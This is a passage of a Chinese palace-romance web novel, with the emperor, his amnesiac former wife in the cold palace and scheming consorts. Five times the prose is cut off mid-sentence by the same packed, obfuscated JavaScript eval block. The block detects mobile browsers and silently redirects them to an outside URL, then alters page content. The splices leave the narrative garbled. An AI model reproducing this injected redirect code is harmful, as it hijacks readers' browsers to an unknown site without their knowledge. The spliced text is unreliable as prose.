我知道你与贵妃定是关系不一般,从今日起你就莫要再来我这里了,既是了断了,还是少见面的好。” 这都是什么跟什么? 贺江灈紧盯着晋明鸢那双眼睛,从她那绕来绕去的话里,他抽丝剥茧也只分辨出一个重要的信息,这女人又要和他撇清关系,理由是怀疑他与贵妃有一腿。 贺江灈胸腔一阵起伏,险些被气笑了。 他就说这女人敏锐是暂时的,实则一直不怎么正常。 以自己目前在他眼里的身份只是一个暗卫,她能理直气壮的觉得那小崽子是他的也就罢了,还能把和贵妃有染的帽子也扣到他头上。 这算什么?拿他当什么?淫贼吗? 天知道他与贵妃都没有同时在她面前出现过,真不知道她这么多出来的这种结论。 贺江灈刚想解释一句,晋明鸢忽然瞪大了眼睛,手攥着他的袖子质问:“你给云瑄找的那师傅是正经人吧,不能跟你似的行这种偷香窃玉的勾当吧?” 根本没等到贺江灈回应,晋明鸢猛地一拍桌子站了起来:“好啊,我刚才高看你了,原来你就是不安好心,想要找那等风流之徒教坏云瑄?” “我没有。”贺江灈道,“你为什么要这么想?” 明明方才那小崽子在的时候,她看起来沉默寡言,甚至还带着温柔,这才多大会,怎么就又跟变了个人似的,匪夷所思的话不断。 晋明鸢恼道:“我为什么这么想?你自己不知道吗?身为陛下的暗卫,你私底下和多少个嫔妃搅和不清,能跟你这等人待在一起的,又能是什么好东西?” 话到这里,她有些紧张,也顾不得与贺江灈争论,抬脚就要往外走,嘴上还嘀咕着:“懒得跟你啰嗦,我现在就去把云瑄找回来,以后云瑄的事也不用你管了。” 看来她之前确实有先见之明,这种品行不端的人,确实应该早断了的好,免得让云瑄跟他学坏了。 “站住。”贺江灈起身,挡在了晋明鸢的前面,“你先冷静一下,从始至终我什么都没有承认过,一直是你在把自己的臆想扣在我头上。 我没理由故意找人教坏一个小孩,更没有那耐心关注一个小孩,所以你给我把心放肚子里,我对你的宝贝儿子没兴趣。 至于暗二,他就在你院里,你若是不放心,他教你儿子时你只管再旁边看着就是,如此,还有什么怀疑的吗?” 贺江灈刻意压抑着心里的起伏,让自己的语调听起来还算温和,他略微弯腰,看着晋明鸢那双眼睛:“阿鸢,你我之间的事不是你想的那样简单,我们就没断过。” 贺江灈自认,他做不到心无芥蒂的说喜欢贺云瑄这样的话,那孩子他可以不动,甚至可以让暗二教他东西,但也仅此而已了。 对于晋明鸢,他从始至终就没想过放手,她想撇清关系,没那么容易。 “没断过?”晋明鸢眼睛略微瞪大,眼里还溢出了丝丝怀疑。 贺江灈笃定的点头,下一刻,晋明鸢就已经怒不可遏的道:“你这人怎么回事?你还有没有点道德?你又不喜欢儿子,还跟我抢人,你还要不要脸?滚滚滚,我这里不欢迎你,你想要儿子让贵妃去给你生,别抢我的。” 她手扯着贺江灈的袖子,根本不给对方辩解的机会,就把人往外推。 贺江灈这会儿完全浑浑噩噩的,不明白她怎么就又扯到抢儿子上去了。 还有贵妃…这和贵妃又有什么关系? 甩开了晋明鸢的胳膊:“我对你儿子没兴趣,我…” “对我儿子没兴趣,五年没出现,这会儿忽然跑我这儿来说与我没断过,难不成你对我有兴趣?”晋明鸢没好气的反问一句,没等他回应,就是一声嗤笑,“快别开玩笑了,我看你就是贵妃派来的吧,贵妃是不是不舍得她送来的那件大氅,想让你骗回去?” “不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482383|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是。”贺江灈当即反驳,话出口时,他深吸了一口气,才勉强恢复平静。 后续解释还没出口,晋明鸢又是不耐的嗤笑:“反正那大氅我不会还的,你就别白费心思了。” 又是大氅。 贺江灈好不容易平复一点的胸腔又开始起伏不定。 这女人还真是…失忆而已,不仅把他当淫贼,现在还把他当成小偷了不成? 贺江灈又一次深吸口气,他道:“你先冷静一下,那大氅是贵妃给你的,她怎么可能要回去?至于我与贵妃,也不是你想的那样,当初她入宫…” 话音到这里忽然戛然而止,贺江灈略微偏头,就见贺云瑄和暗二都杵在门口。 贺云瑄一双眼睛明显的转呀转,那副探究的模样很是明显。 “不是让你教他练武吗?”贺江灈冷眼扫向暗二,不耐之色明显。 暗二也很是无奈:“您…我…” 那陛下与晋娘娘争执声那么大,他们在院里都能听见,这小公子嚷着保护娘亲,他哪里拦得住。 贺云瑄自己接了暗二的话:“你还和贵妃有关系?” 一句话出口,他的目光已然在贺江灈和晋明鸢身上打转不止,到最后求证的视线又在暗二身上定格。 暗二还没反应过来,木木的点了下头,下一瞬他就觉得,这屋里的气氛好像愈发的诡异了几分。 贺云瑄小跑着上前,把晋明鸢挡在了自己背后:“你怎么能…怎么能…算了,以后你别来找我娘亲。” 这都是什么事啊? 娘亲在没有他之前,到底是和什么人接触的? 还有那陛下,心可真大,知不知道他后宫已经漏成了筛子? 贺江灈冷眼扫过来,贺云瑄完全不甘示弱回瞪回去,贺江灈再看晋明鸢,见晋明鸢同样一脸警惕的看着他。 他似是妥协的叹了口气:“暗二,我们走。” 伴随着两人离开,贺云瑄安抚的攥着晋明鸢的手指,他道:“娘亲,别为了那种人难过,不值得,以后你有云瑄,云瑄心里只有娘亲一人。” 晋明鸢并没听清贺云瑄在说什么,她这会满脑子里就一个念头,她讷讷道:“可是他把你师傅带走了。” 那男人什么想法,她还真不怎么在意,走了就走了,可云瑄的师傅…好像是他下属来着。 早知道,就不那么冲动惹怒他了。 第38章 姜妃,你在做什么 “哎呦,陛下哎,您可算出来了。” 贺江灈前脚刚从冷宫出来,张公公后脚就如一颗炮弹一般,从阴影里穿了出来,直冲着贺江灈扑来。 速度奇快,嘴上念叨也不耽误。 贺江灈眉心紧缩:“有事?” 张公公点头:“哎呦,陛下,您是不知道,奴才方才看见姜妃娘娘带着人在附近路过好几趟了。” “姜妃?”贺江灈重复一遍,他拧着眉,勉强想起了些许关于这个人的印象。 但更多的,却是此人入宫之前的模样,她总是一袭烈烈红衣,头发梳成高马尾的模样,和京中所有的贵女都不一样。 贺江灈印象最深的,大约就是此女与晋明鸢,好像有些不对付。 后来姜妃入宫,整整三年,这女子从来不往他跟前凑,他甚至早就想不起来她长什么模样了。 “她来做什么?”贺江灈问。 “这奴才也不知道呀,按理说姜妃娘娘的鸣雀宫离冷宫最远,之前也没有见她与晋娘娘有什么接触,如今这般,实在是有些可疑。”张公公小心翼翼的道。 那何止是晋娘娘呀,这姜妃在宫中飞扬跋扈的名声差的很,宫里没有一个能与她交好的。 只是她闹归闹,却又闹得不大,从来没有闹到陛下跟前过,故而陛下对此人也没有什么关注。 但今日毕竟是事关晋娘娘,张公公觉得他得提醒一句。 “现在人去哪儿?”贺江灈又问。 张公公小心翼翼的凑过来:“陛下放心,奴才让人盯着呢,姜妃她…” 贵妃禁足,后宫算得上群龙无首。 御花园里,一众打扮的花枝招展的嫔妃聚在一处,安妃被她们簇拥在中央,几个嫔妃脸上带着讨好的笑,恭维的话一句接一句。 “安妃姐姐今日还真是光彩照人呀,莫说是陛下,臣妾看了都心动呢。” “可不是嘛,安妃姐姐,听说陛下昨夜召了姐姐侍寝,还让姐姐留宿在紫宸殿了呢。 就连贵妃娘娘都没有这等待遇,姐姐背后又有太后娘娘做椅仗,以后姐妹们可得多仰仗姐姐了。” “安妃姐姐,咱们住的近,以后可得多走动走动。” … 主要是那晚掺了**的药,各中缘由并没有被传出去。 这些嫔妃们也就只知道贵妃禁足当晚,陛下就召了安妃侍寝,哪怕只有这么点微薄的消息,也不影响这些人见风使舵。 安妃看着面前这一张张恭维的脸,神色渐渐地多了些许的不耐。 她平日里每当这个时辰,都会趁着御花园安静过来抚琴的,这么多年过去,从没有人来打扰她,唯有今日… 只是一个侍寝的消息传出来,就引得这么多人闻着味儿扑了上来,可只有她自己心里清楚。 昨夜陛下大发慈悲,把她从姑母那里解救出来,无非就是为了替冷宫那位还恩,至于侍寝… 昨夜的龙宸殿只有她一人,陛下也就临近早朝回来换了件朝服,便又不见踪影,只是这些消息她自是不会说出口。 安妃没说话,对着背后的春樱使了个颜色,春樱立刻心领神会:“各位娘娘,可莫要再恭维我们娘娘了,陛下向来一视同仁,雨露均沾,各位娘娘的福气也少不了呢。” “哎呀,这哪里能一样,咱们何德何能,哪里能比得上安妃姐姐,以后还是得仰仗姐姐呀。”一名嫔妃满脸堆笑的恭维,立刻就引了一众的附和。 除了安妃眉宇间萦绕着些许的不耐以外,这里所有人都好像心情极好的模样。 周围也算得上其乐融融,但伴随着一个脚步声逼近,一个不怎么友好的声音尖锐的划破了这一片欢乐:“啧啧啧,你们这群见风使舵的墙头草,还真是没有一丁点立场,一个趁虚而入的小偷,也值得你们这般恭维吗?” 这话说的实在过于尖锐,一下子就吸引所有人回过头来,安妃也皱眉望过来,就见一名穿着绯色宫装的女子疾步而来。 不同于安妃的一身素淡,她妆容画的极艳,偏发上又没有多少钗环 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482384|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,明明个头不高,但走过来时又好像带着逼人的气势。 “姜妃,你怎么来了?”有人失声问出了口,几个低位的嫔妃皆是皱着眉,有些不情不愿的躬身行礼。 姜妃如一阵风一样,越过人群,就坐在安妃的旁边,她眉眼微抬,睨了这群嫔妃一眼:“我若是不来,岂不是错过这场好戏? 一个见缝插针趁虚而入的小偷,倒是让你们捧得高高的,真不知道你们这群人是不是脑袋长到了狗身上。” “姜妃娘娘,您这话说得是不是太过分了?”春樱忍不住质问出声,一群低位嫔妃不敢说话,但也暗自点头。 她们不知姜妃和安妃这莫名其妙的敌意来自哪里,但也没法否认这姜妃说话实在太难听。 姜妃说:“过分?怎么?跟人当狗当习惯了,听不得实话了?她安秋禾昨夜为什么能侍寝,她自己心知肚明吧?” 安妃为何侍寝… 这难道中间还真有隐情? 一众嫔妃面面相觑,已经忍不住将好奇的目光落在了姜妃身上。 姜妃又是嗤笑一声,这回目光直接迎上了安妃:“怎么不说话?想起来自己不是堂堂正正没脸了?” “姜妃娘娘,你这是什么意思,我们娘娘再如何,左右抢的也不是您的机会,你又何至于在这里喋喋不休?”春樱质问。 姜妃冷笑:“你一个丫鬟有什么资格与我说话?你那主子是哑巴了吗?让你这条狗替她出头?” “你…”春樱又想反驳,安妃这时拉了她一把,一双清冷无波的眸子冲着姜妃望过来:“姜妹妹今日如此气势,可是在替贵妃姐姐出头?” “你放屁,她那么个两面三刀的东西,配得上姑奶奶出头吗?姑奶奶就是看不惯你们这等靠手段上位的腌臜小人,你…” “朕怎么不知道,朕的后宫里还藏了这么个正义之士?姜妃,你在嚣张什么?” 姜妃话都没有说完,就被人打断了,已经换了龙袍的贺江灈悠悠走来,目光冰冷的望向姜妃。 第39章 幽兰馆 “陛…陛下。” 人群里,也不知谁先反应过来讷讷的重复一句,紧接着就引得一众嫔妃纷纷跪地请安。 姜妃略有尴尬的咽了咽唾沫,也跟着行礼,她的头垂下去,那股子嚣张气焰倒是少了些许。 贺江灈慢条斯理的越过姜妃,就在她面前坐了下来。 他那位置正是姜妃方才坐过的位置,亦是距离姜妃最近的那个位置,他道:“爱妃怨气不小啊,管的也多,是不是以后朕招谁侍寝,都得先问过爱妃的意思了?” “臣妾不敢。”姜妃手搅在身前,闷声应了一句,但是那声音听起来又很是生硬,好像没有多少认错的意思。 贺江灈看着她这幅不卑不亢的态度,嗤嗤一笑:“朕看你敢得很,安妃趁虚而入,贵妃两面三刀,你对朕的后宫认识的倒是很有自己一套标准,看爱妃这语气,不知道的还以为你是朕的皇后呢,评判起任何人来都这么理直气壮。” 明明同样是面对贺江灈的怒火,方才姜妃还算镇定,此刻却猛地跪了下来:“陛下息怒,臣妾知错,是臣妾失言,臣妾从未有半点觊觎皇后之位的意思,请陛下明察。” 熟悉姜妃的人都知道,她这人天不怕地不怕,更是鲜少低头,按她以往的做派,只是失言酿下的祸事,她还不至于这般紧张才对,可偏偏… “是吗?朕还以为爱妃这是在向朕讨皇后的位置呢,毕竟这后宫你了解的如此透彻,只让你做个妃子,岂不是屈才?”贺江灈说。 姜妃连连摇头:“臣妾不敢,臣妾刚才只是一时口快,绝无半分僭越之意,还请陛下明鉴。” 姜妃慌乱的模样不像作伪,贺江灈睨她一眼,又意味不明的道:“既然昨夜朕招安妃侍寝一事,让姜妃如此介意,不如今夜朕就去你的鸣雀宫坐坐?” 他像是随口一提,可姜妃身子却是明显的晃了一下,手更是摆的几乎要看出残影来:“不…不用了,陛下,臣妾粗鄙,鸣雀宫简陋,实在配不上陛下大驾。” “姜妃!” “臣妾说的是实话,陛下你不要来。”姜妃又连连摇头,她还跪在地上,可身子却一点点的朝着后面挪动,就像是刻意的要和贺江灈拉开距离一样。 她这抗拒的模样,就像是要把贺江灈当作洪水猛兽一样,莫说贺江灈是什么反应,一众看到这一幕的嫔妃已经冷汗连连。 这姜妃莫不是疯了? 都已经做了陛下的嫔妃,却又对陛下这么抗拒,她是不要命了? 还有… 既然不愿意侍寝,为什么偏又对安妃的事喋喋不休,那般敌意? “让你侍寝你不要,朕找别人你又这般怨气,姜妃,朕倒是不知你想做什么?”贺江灈问。 姜妃低着头,这会儿却不再说话了。 贺江灈又道:“爱妃这个性子,是该冷静冷静了,从今日起,你就搬到冷宫旁边的幽兰馆去吧,朕看在定国将军劳苦功高的份上,今日不降你位分,你以后好自为之。” 幽兰馆紧挨着冷宫,已经废弃多年,平日里更是鲜少有人经过,姜妃搬到那里去就和打入冷宫无异了。 在场的嫔妃听到这句话脸上或多或少的都生了震惊之色,有的用同情的目光看向姜妃,有的则是快意无比。 这姜妃平日里最是嚣张,如今被陛下赶到幽兰馆,可算是能煞煞她的锐气了。 众人纷纷将看笑话的目光落在姜妃身上,想要看她落魄求饶,或者歇斯底里,可姜妃此刻却又格外的冷静,她恭敬的冲着贺江灈磕了个头:“臣妾谨遵陛下旨意,臣妾这就去收拾东西。” 伴随着姜妃离开,贺江灈也没有久留,没了这份压迫,一众嫔妃们又开始七嘴八舌的议论起来。 “这姜妃看来今日是真的惹怒了陛下,竟然被陛下赶到幽兰馆去。” “可不是嘛,谁不知道陛下厌极了冷宫那个,平日里都不踏足附近半步,等姜妃去了幽兰馆,怕是连陛下的面都见不到了。” “哎,林姐姐,我觉得有些不对,那姜妃好像看起来有想与陛下撇清关系的意思呢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482385|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “呵,怎么可能?既是入了宫,我们哪个不是倚仗着陛下的宠爱过活? 我看她分明就是想欲拒还迎,欲擒故纵,结果却玩过火了,真的惹怒了陛下,真是活该,让她之前那么嚣张。” “说来也是我们安姐姐厉害,陛下定是对我们安姐姐喜欢的紧,所以才动了这样的怒,严惩姜妃,你说呢,安姐姐?” 有人把话题重新拉到了安妃身上,紧接着就是一众人殷切的看过来,讨好的意思明显。 安妃却是垂着眼并未说话。 陛下真的对冷宫那位意见那么大吗?未必。 姜妃对侍寝的女人敌意那么大,却不是为贵妃出头,还能为谁? 看来陛下将那个女人丢到幽兰馆,分明是大有深意。 “安妃姐姐,你怎么不说话?”有人问。 安妃摇摇头,她道:“姜妃妹妹马上就要乔迁新居,我们这些做姐姐的也该去祝她乔迁之喜,姐妹们觉得呢?” 安妃像是随口一提,立刻引的一众人附和:“安妃姐姐说的是,这样的大喜事确实该祝贺,不如咱们叫上宫里别的姐妹一起去,如此也能表现对姜妃姐姐的重视。” 祝贺? 呵,嘲讽还差不多。 那姜妃平日里那么嚣张,如今被贬到那等偏僻之处,这宫里不知有多少人看她笑话了。 一众嫔妃纷纷散去,御花园很快又冷清了下来,春樱看着依旧风轻云淡的安妃,她有些疑惑:“娘娘,你与姜妃并无牵扯,为什么要去趟这浑水呢?” “本宫记得,幽兰馆旁边好像有个泠竹苑也空着是吗?”安妃忽然问。 春樱吓了一跳,连连摇头:“娘娘,您可不要犯糊涂,那可不是什么好地方,您若真的去了那里,太后娘娘一定会打死您的,您看如今陛下对您态度也有好转,我们的日子马上就好起来了,可千万不要再想那些了。” 好起来了吗? 安妃冷笑,看着春樱慌乱的样子,却是不置可否。 第40章 请陛下怜惜姐姐 宫里的嫔妃们纷纷急着去祝贺姜妃乔迁之喜,这样的大消息自然而然的也传进了玉粹宫。 贵妃听到消息时,手里的墨笔在纸上晕开大片墨渍:“你说什么?陛下让姜妃搬到幽兰馆去了?” “是的,娘娘,听说是因为姜妃在御花园辱骂了安妃,陛下为了给安妃娘娘出头,这才重罚了姜妃,现在宫里的娘娘们都等着去幽兰馆恭贺姜妃呢。”满春小心翼翼的道。 说完了这件事,她又有些愤愤不平:“那安妃不知使了什么手段,竟然让陛下这么在意,如今娘娘遭了这无妄之灾,说不定就是她的手笔呢。” 她一番话说完,再转头时看到贵妃脸上浮现出的却是担忧之事,她听贵妃喃喃自语道:“姜妃搬到幽兰馆怎么行呢?她之前在京中就素来与晋姐姐不合,如今陛下让她离晋姐姐这么近,我实在是放心不下。 满春我们走,本宫要见陛下,本宫必须求陛下收回成命,绝不能让姜妃与姐姐待在一处。” 贵妃话说着,起身就要出门,满春连忙拉住了她:“贵妃娘娘,您还在禁足,若是贸然出去…” “那又如何?姐姐如今生活已经够艰难了,今日本宫就算是受罚,也要帮姐姐。”贵妃说。 满春拦不住贵妃,只能任由贵妃急冲冲地朝着紫宸殿而去。 不知贺江灈为什么非要把姜妃送到幽兰馆的,除了满宫嫔妃以及贵妃以外,还有张公公。 回到紫宸殿之后,张公公终于没有忍住询问:“陛下今日姜妃出现在冷宫附近的目的未明,您为什么忽然把人安排到幽兰馆,若是…” “陛下,贵妃娘娘到了。”张公公话没有说完,外面就传来了通报声。 有那么一瞬间,他甚至觉得自己听错了,贵妃?她不是在禁足吗?怎么会忽然过来? 张公公有些错愕的看向贺江灈的侧脸,男人面色如常,似是早有预料:“让她进来吧。” 贵妃一进门,就直接冲着贺江灈跪了下来,她不知什么时候哭过,一双眼睛红彤彤的,瞧起来楚楚可怜。 没有等贺江灈说话,她就自己道:“臣妾求陛下可怜可怜姐姐,陛下您也是知道的,之前姜妃妹妹就与姐姐不太和睦,如今姐姐在冷宫过得已是凄楚无比,臣妾…臣妾实在担忧姜妃妹妹找姐姐麻烦。” 她吸了吸鼻子,又揉了揉眼睛:“姜妃妹妹飞扬跋扈的性子,这宫中有目共睹,哪怕臣妾身为贵妃,姜妃都不把臣妾放在眼里,更遑论是姐姐呢? 就算陛下与姐姐因为云瑄的缘故生了许多矛盾,可陛下难道忘了你与姐姐之前的情谊吗?臣妾求陛下看在过往我们几人关系那么好的份上,可怜可怜姐姐。” “贵妃,你是不是忘了你自己尚还在禁足?你今日出现在这里是公然抗旨吗?”贺江灈问。 贵妃道:“臣妾有错,臣妾甘愿受罚,可在这之前,臣妾想为姐姐争一争,陛下难道忘了当初你与姐姐成亲之前,可是许诺姐姐要一生一世一双人的,如今您已经违了当时承诺,难道还要放任别人去欺负姐姐吗?” 她这话一出,整个紫宸殿的空气都好像冷了几分。 张公公额头上更是有冷汗,直接顺着下巴滑落下来。 乖乖哦,这贵妃还真是疯了,陛下与那位的往事,她怎么能摊在明面上来说? 张公公伺候贺江灈的时间晚,对于贺江灈之前对那位的承诺并不清楚,可却知道陛下广纳后宫是在那位生子之后。 也就是说先背叛这个诺言的并非陛下,可现在贵妃却把过错全推到了陛下身上。 这不是哪壶不开提哪壶吗? 索性贺江灈看起来并没有什么暴怒的意思,他道:“贵妃这话是不是有些杞人忧天?你怎么就断定姜妃会欺负她呢?” 贵妃的目光有些微的闪烁,她错愕的朝着贺江灈望过来,好像没想到贺江灈会如此平静一般。 但很快她就反应过来:“因为臣妾与姐姐曾经形影不离,臣妾见过姜妃在京中是如何飞扬跋扈挑衅姐姐,所以臣妾…” “之前是之前,贵妃何必总拿之前的事标榜现在呢?若无旁的事,贵妃便回去吧,你抗旨在先,自己抄宫规百遍,以儆效尤。”贺江灈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482386|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说。 他那句话好似一语双关,像是在说姜妃,又像在说贵妃口中他与晋明鸢之前的情谊。 “陛下,臣妾…” “朕的话贵妃听不懂吗?” 话被打断,贵妃脸上有些许的惨白,但她还是固执道:“陛下如今就算记不得年少,臣妾却忘不了。 姐姐的命是臣妾的兄长拿命换来的,陛下就算不在意姐姐,也不能辜负兄长的付出,还请陛下让姜妃搬回鸣雀宫。” “赵清吟,朕看你是越来越没规矩了,你是在拿你兄长威胁朕吗?”贺江灈声音蓦地提高几分,脸上的平静终于消散,剩下的只有愤怒。 但贵妃却分外固执:“臣妾不敢,臣妾只是想提醒陛下,不管姐姐做错了什么,她的命都是兄长换回来的,陛下就算不顾惜姐姐,也不能不在意兄长的付出,请陛下怜惜姐姐。” “够了,赵清吟,朕既已下了令,便不会更改,这件事不要再提,朕在给你最后一次机会,回你的玉粹宫禁足,这件事朕就当没发生过。”贺江灈说。 “可姐姐…” “你别叫她姐姐,她不值得。”贺江灈说。 贵妃像是被他不留情面的话伤到了,她抿着唇垂了头,默默的起身,朝着殿外退去。 贺江灈道:“张康全,你亲自送贵妃回玉粹宫。” 从紫宸殿出来,贵妃已经哭的抽抽噎噎,她道:“本宫知道人是会变的,可陛下怎么变了那么多呢?当年姐姐,兄长,我们几个明明那么好,他怎么能一点不顾惜以往的情谊?” 有了之前的教训,张公公对贵妃的哀怨并不作声,却在心里连连摇头。 这贵妃,实在是太糊涂了。 当年他的兄长与陛下是最好的兄弟,冷宫里那位是陛下最喜欢的女人,可到头来赵公子用命救了晋娘娘,换来的是晋娘娘背叛陛下,这样的往事提起来,陛下能开心就有鬼了。 可偏偏贵妃也不知是不是不开窍,一直在紫宸殿里提个不停。 张公公甚至觉得,得亏她是赵公子的妹妹,才让陛下网开一面。 第41章 别招惹姜妃 张公公不说话,贵妃就好像感觉不到对方的抵触一样,她又从手腕上取下来一个镯子,朝着张公公塞了过来。 张公公见状,吓得连连摆手:“贵妃娘娘,您这是做什么?奴才哪里能要您的东西?” 贵妃说:“公公就接着吧,本宫求公公的地方多着呢,如今我马上就要回玉粹宫禁足了,可姐姐那里我又实在放心不下,能不能劳烦公公帮忙多照看照看,等陛下气消了再劝劝陛下,让姜妃回来吧。” “哎呦娘娘,你这不是为难奴才吗?这谁不知道,冷宫就是陛下的逆鳞,就是给奴才天大的胆子,奴才也不敢去那里凑热闹呀,这事儿奴才可做不了,贵妃娘娘还是找别人吧。”张公公说着,又将那手镯推了回去。 他甚至还回头,小心翼翼的看了一眼背后的紫宸殿。 上次因为多嘴受了罚,他现在身上的伤还没好全呢,哪里还敢再掺和冷宫那位的事? 尤其是贵妃在陛下跟前说了那么一番话,也算是彻底把陛下惹恼了,除非不要命,谁还敢在陛下面前提这事儿? 贵妃手里捏着镯子,明显一副六神无主的模样,她说:“这可怎么办,姜妃那么看不惯姐姐,若是她欺负姐姐怎么办?如今我又在禁足,也帮不上姐姐什么,这可如何是好啊?” 张公公瞧着她一个人站在原地兀自紧张,实在有些看不下去,便道:“贵妃娘娘,您既然记得陛下要您禁足,便抓紧回玉粹宫吧,奴才就送您到这儿了。” 直觉告诉张公公,若是他再与这贵妃久待,指不定又惹上什么祸事,他还是赶紧回去给陛下复命的好。 左右陛下也只是让他把人送出来,也没有要求送到玉粹宫。 张公公走后,满春便道:“娘娘,您何至于这么担忧晋娘娘,那姜妃若真想找她麻烦,随她们去就是,左右您现在也在禁足,什么事儿也牵连不到您身上,您何必趟这浑水? 再者说了,您这么在意晋娘娘,也不见得她领情呀,上次还对您那般态度,奴婢实在为娘娘感到不值,依奴婢看,姜妃就算欺负了她,那也是她活该。” “姜妃不能留在那里。”贵妃垂着眸,她自言自语的嘀咕了句,随后就伏在满春耳边说了句什么。 满春眼睛渐渐睁大:“娘娘,冒这么大风险,值得吗?” “让你去你就去,哪里来的这么多话?”贵妃冷声道,这话一出口,她再也没了方才那股柔弱,就连眉眼里都带了戾气。 呵,姜青雉,她终于还是坐不住了。 所有人都说,姜青雉讨厌晋明鸢,可这些年来,她却看得真真的,姜青雉就是晋明鸢背后的一条疯狗,哪怕晋明鸢跟她都不熟,她也站在晋明鸢背后的阴影里逮谁咬谁。 这女人入宫晚,她入宫时,晋明鸢已经身在冷宫,两人之间几乎没有接触,可现在… 晋明鸢才刚刚失忆,她就迫不及待激怒了陛下,搬到了幽兰馆,迫不及待的去给晋明鸢做看门狗。 可是那怎么行呢? 这场游戏才刚开始,她才不会让姜青雉趁姐姐失忆趁虚而入。 她的好姐姐,就该被她掌控,哪怕失忆了,也该像以往一样只信任她,只听她的。 贵妃的嘴角渐渐地溢出了一个古怪的笑,她似是整个人都轻松了很多,步履轻快的朝着玉粹宫而去。 晋明鸢等了整整一下午,也没有等到贺江灈出现,就连午饭也是她和贺云瑄两个人吃的。 哪怕心里再不想承认,她也不得不承认那个小气巴拉的男人是真被她气走了。 他走倒是无所谓,最主要的是他还带走了自己宝贝儿子的师傅,这就让晋明鸢很是恼火。 偏一向僻静的隔壁,今日也不知怎么了,叮叮当当的吵个没完,听着像是住进来了人,晋明鸢忍不住嘀咕:“也不知道哪个倒霉蛋又被那小气陛下丢到这么个破烂地方了,啧啧啧,真是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482387|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可怜。” 柳枝从外面提着一盒糕点进来,正听到晋明鸢的话,她忍不住嗤笑:“你还有心思同情别人呢,人家隔壁就算清冷,那也不是冷宫,你知道隔壁住的是谁吗?” “是谁?难不成是天王老子?”晋明鸢没好气的回怼一句,“我看你又皮痒了,是不是又欠打了?” 她这话一出,柳枝浑身嚣张也被浇灭了许多,上前两步将手里的东西推了过来:“喏,这是隔壁送来的,宫里的娘娘们都在隔壁庆祝姜妃娘娘乔迁新居,可热闹了呢,就这阵仗,也知道人家姜妃搬来幽兰馆可不是落魄。” “姜妃,她地位很高吗?”晋明鸢被柳枝的话吸引了注意力,她手撑着腮,眼珠子转了转,像是在盘算着什么。 柳枝道:“这宫里位分最高的除了贵妃,就是姜妃与安妃了,你说她地位高不高?” 地位高… 晋明鸢眼珠又转了转,她道:“姜妃乔迁,这样的大喜事,我是不是也得去恭喜两句?” “你想什么呢?你这是冷宫,你以为自己是什么自由身吗?还去恭喜,你这样的身份过去,说不定人家还会觉得你晦气呢,别怪我没告诉你,那姜妃可不好惹,你可别招惹她。”柳枝道。 她这几日没少挨了晋明鸢的打,虽然对晋明鸢还是不服,但又不敢过分造次,只能用语气来表达自己的不满。 “你怎么说话呢?这大家以后都是邻居,我去打个招呼怎么了?说不定我和那姜妃还能合得来呢,怎么就晦气了?”晋明鸢嘀咕一句,她不愿意与柳枝僵持,可目光却已经望向了那堵与隔壁隔开的高墙。 “就是,谁说晋姐姐晦气了,我们以后可是邻居了,这抬头不见低头见的,说不定就合得来呢?” 就在这时,门外忽然传来了一阵脚步声,一群打扮的花枝招展的女人出现在这里,其中为首的那个身姿娇小,却又气势最足,应该是柳枝口中地位高贵的姜妃。 第42章 变故陡生 “奴婢参见姜妃,参见安妃,徐婕妤,王昭仪…” 